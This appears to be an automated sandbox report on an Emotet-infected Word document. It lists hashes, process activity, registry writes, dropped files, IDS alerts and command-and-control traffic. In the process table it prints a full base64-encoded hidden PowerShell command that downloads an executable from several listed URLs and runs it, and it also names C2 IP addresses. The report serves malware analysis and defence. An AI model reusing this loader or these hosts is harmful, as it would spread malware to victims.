| File name: | FA-3297907.doc |
| Full analysis: | https://app.any.run/tasks/bf5b9deb-1189-45ea-883f-560918765d95 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 17, 2020, 17:09:30 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Quasi., Author: Antoine Lemaire, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 13:45:00 2020, Last Saved Time/Date: Fri Jan 17 13:45:00 2020, Number of Pages: 1, Number of Words: 4, Number of Characters: 29, Security: 0 |
| MD5: | 6553DF2EEA2CD50A7A20775B1C5393C4 |
| SHA1: | 567B91AC7DE7FB0AB27F429A782E4A06F2025E52 |
| SHA256: | ABFF96300BCDB6C7E420F60DF20D1B9DF821347C04765C4692C6574F491272B7 |
| SSDEEP: | 6144:r0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+QrBdmnROFaD:r0E3dxtR/iU9mvUPQl2ROFaD |
MALICIOUS
Application was dropped or rewritten from another process
- 900.exe (PID: 1792)
- 900.exe (PID: 3756)
- serialfunc.exe (PID: 2816)
- serialfunc.exe (PID: 2860)
Downloads executable files from the Internet
- Powershell.exe (PID: 3920)
Emotet process was detected
- 900.exe (PID: 3756)
Changes the autorun value in the registry
- serialfunc.exe (PID: 2860)
EMOTET was detected
- serialfunc.exe (PID: 2860)
Connects to CnC server
- serialfunc.exe (PID: 2860)
SUSPICIOUS
Executed via WMI
- Powershell.exe (PID: 3920)
PowerShell script executed
- Powershell.exe (PID: 3920)
Application launched itself
- 900.exe (PID: 1792)
Executable content was dropped or overwritten
- Powershell.exe (PID: 3920)
- 900.exe (PID: 3756)
Creates files in the user directory
- Powershell.exe (PID: 3920)
Starts itself from another location
- 900.exe (PID: 3756)
Connects to server without host name
- serialfunc.exe (PID: 2860)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2600)
Creates files in the user directory
- WINWORD.EXE (PID: 2600)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | Quasi. |
|---|---|
| Subject: | - |
| Author: | Antoine Lemaire |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:01:17 13:45:00 |
| ModifyDate: | 2020:01:17 13:45:00 |
| Pages: | 1 |
| Words: | 4 |
| Characters: | 29 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 32 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1792 | "C:\Users\admin\900.exe" | C:\Users\admin\900.exe | — | Powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2600 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\FA-3297907.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2816 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 900.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2860 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 3756 | --30ec5237 | C:\Users\admin\900.exe | 900.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 3920 | Powershell -w hidden -en JABGAGwAcAB0AHEAbABuAGIAbwA9ACcAVgB4AHgAdgBiAGgAcAB3AG8AaQBiAG4AYQAnADsAJABZAGYAdQB0AGIAZQByAHEAdgAgAD0AIAAnADkAMAAwACcAOwAkAEkAeQBjAHAAegBvAGwAbwBjAHgAPQAnAEoAcABvAHUAYwB5AGoAeAB2AGYAYwAnADsAJABTAHQAbwBuAHEAZgB2AGQAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWQBmAHUAdABiAGUAcgBxAHYAKwAnAC4AZQB4AGUAJwA7ACQAWQBlAHoAZAB4AHAAdgBrAD0AJwBEAGwAbwB6AGgAbQBpAHMAZQAnADsAJABLAGwAdABwAGsAbwBsAGcAcABnAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBiAGMAbABpAEUATgB0ADsAJABSAG8AeABlAGkAawB1AGUAcQByAGoAcAB5AD0AJwBoAHQAdABwADoALwAvAHYAaQBrAGkAcwBhAC4AYwBvAG0ALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AdgBWAGoARQBuAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBzAGgAdQBzAGMAbABlAGEAbgBpAG4AZwBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AQQBUAHgAMABDADQAMQA1ADUAMQA2AC8AKgBoAHQAdABwADoALwAvAG8AdgBlAHIAdwBhAHQAYwBoAGIAbwBvAHMAdABwAHIAbwAuAGMAbwBtAC8AZQA0ADYAYQA3ADAAZAAyADQAZgA0ADEANgAyADkAMAAxAGEANQBkAGYAYgBjADEAMwA5AGIANAAwAGQANAA5AC8ARwBYAGcAYwBrAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGwAYQBzAHQAaQBjAC0AdwBpAHIAZQBtAGUAcwBoAC4AYwBvAG0ALwB3ADIALgBwAGwAYQBzAHQAaQBjAC0AdwBpAHIAZQBtAGUAcwBoAC4AYwBvAG0ALwBBAEIATQAwADIALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGEAbgBuAGwAaQAuAGMAbwBtAC8AYgB1AHkAXwBpAHQAZQBtAC8AbwBNAE0ANwAyADYAMgAvACcALgAiAHMAUABMAGAAaQBUACIAKAAnACoAJwApADsAJABOAHoAdABoAGwAYgBuAGkAPQAnAFcAcwBwAGIAawBtAGwAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUwB5AGsAdgB5AGMAYQBjAGoAYwB1AGcAIABpAG4AIAAkAFIAbwB4AGUAaQBrAHUAZQBxAHIAagBwAHkAKQB7AHQAcgB5AHsAJABLAGwAdABwAGsAbwBsAGcAcABnAC4AIgBkAG8AdwBOAGwATwBgAEEAYABkAEYAaQBgAEwARQAiACgAJABTAHkAawB2AHkAYwBhAGMAagBjAHUAZwAsACAAJABTAHQAbwBuAHEAZgB2AGQAcQApADsAJABFAGgAagBsAGkAbwB6AGMAPQAnAE4AeABhAHoAbABmAGYAdwBtAG4AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABTAHQAbwBuAHEAZgB2AGQAcQApAC4AIgBMAGUAbgBgAGcAdABoACIAIAAtAGcAZQAgADIANgAzADMANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAVAAiACgAJABTAHQAbwBuAHEAZgB2AGQAcQApADsAJABEAGcAdAB6AHkAdwB6AHgAbgB3AGgAPQAnAFAAaAB5AHcAYwBrAHkAYQBwACcAOwBiAHIAZQBhAGsAOwAkAFAAcABmAGcAbwBzAHYAdABkAHIAZwBmAD0AJwBBAGYAbABvAHoAYgBzAGQAZgBwAHkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwB4AGQAbwBvAGgAYgBqAGkAcgB0AD0AJwBCAG4AdABvAGoAYwBqAGkAYgBlAG0AbAAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
2 230
Read events
1 397
Write events
697
Delete events
136
Modification events
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | c7b |
Value: 63376200280A0000010000000000000000000000 | |||
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2600) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1345388606 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2600 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA7D3.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2600 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFFD754FF4BA500C1C.TMP | — | |
MD5:— | SHA256:— | |||
| 3920 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FVFD8S2PM4X8KVKKHICB.temp | — | |
MD5:— | SHA256:— | |||
| 2600 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3920 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b437.TMP | binary | |
MD5:— | SHA256:— | |||
| 3756 | 900.exe | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | executable | |
MD5:— | SHA256:— | |||
| 2600 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$-3297907.doc | pgc | |
MD5:— | SHA256:— | |||
| 3920 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3920 | Powershell.exe | C:\Users\admin\900.exe | executable | |
MD5:— | SHA256:— | |||
| 2600 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
3
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3920 | Powershell.exe | GET | 200 | 202.143.111.152:80 | http://vikisa.com/administrator/vVjEn/ | VN | executable | 332 Kb | suspicious |
2860 | serialfunc.exe | POST | 200 | 188.85.143.170:80 | http://188.85.143.170/ygG0QoLb2EJa0lOAXjI | ES | flc | 132 b | malicious |
2860 | serialfunc.exe | POST | — | 98.199.196.197:80 | http://98.199.196.197/tP0Xu8lb | US | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3920 | Powershell.exe | 202.143.111.152:80 | vikisa.com | Digital world data online company | VN | suspicious |
2860 | serialfunc.exe | 98.199.196.197:80 | — | Comcast Cable Communications, LLC | US | malicious |
— | — | 188.85.143.170:80 | — | Vodafone Spain | ES | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
vikisa.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2860 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
2860 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
2860 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
2860 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
2860 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
2860 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1 ETPRO signatures available at the full report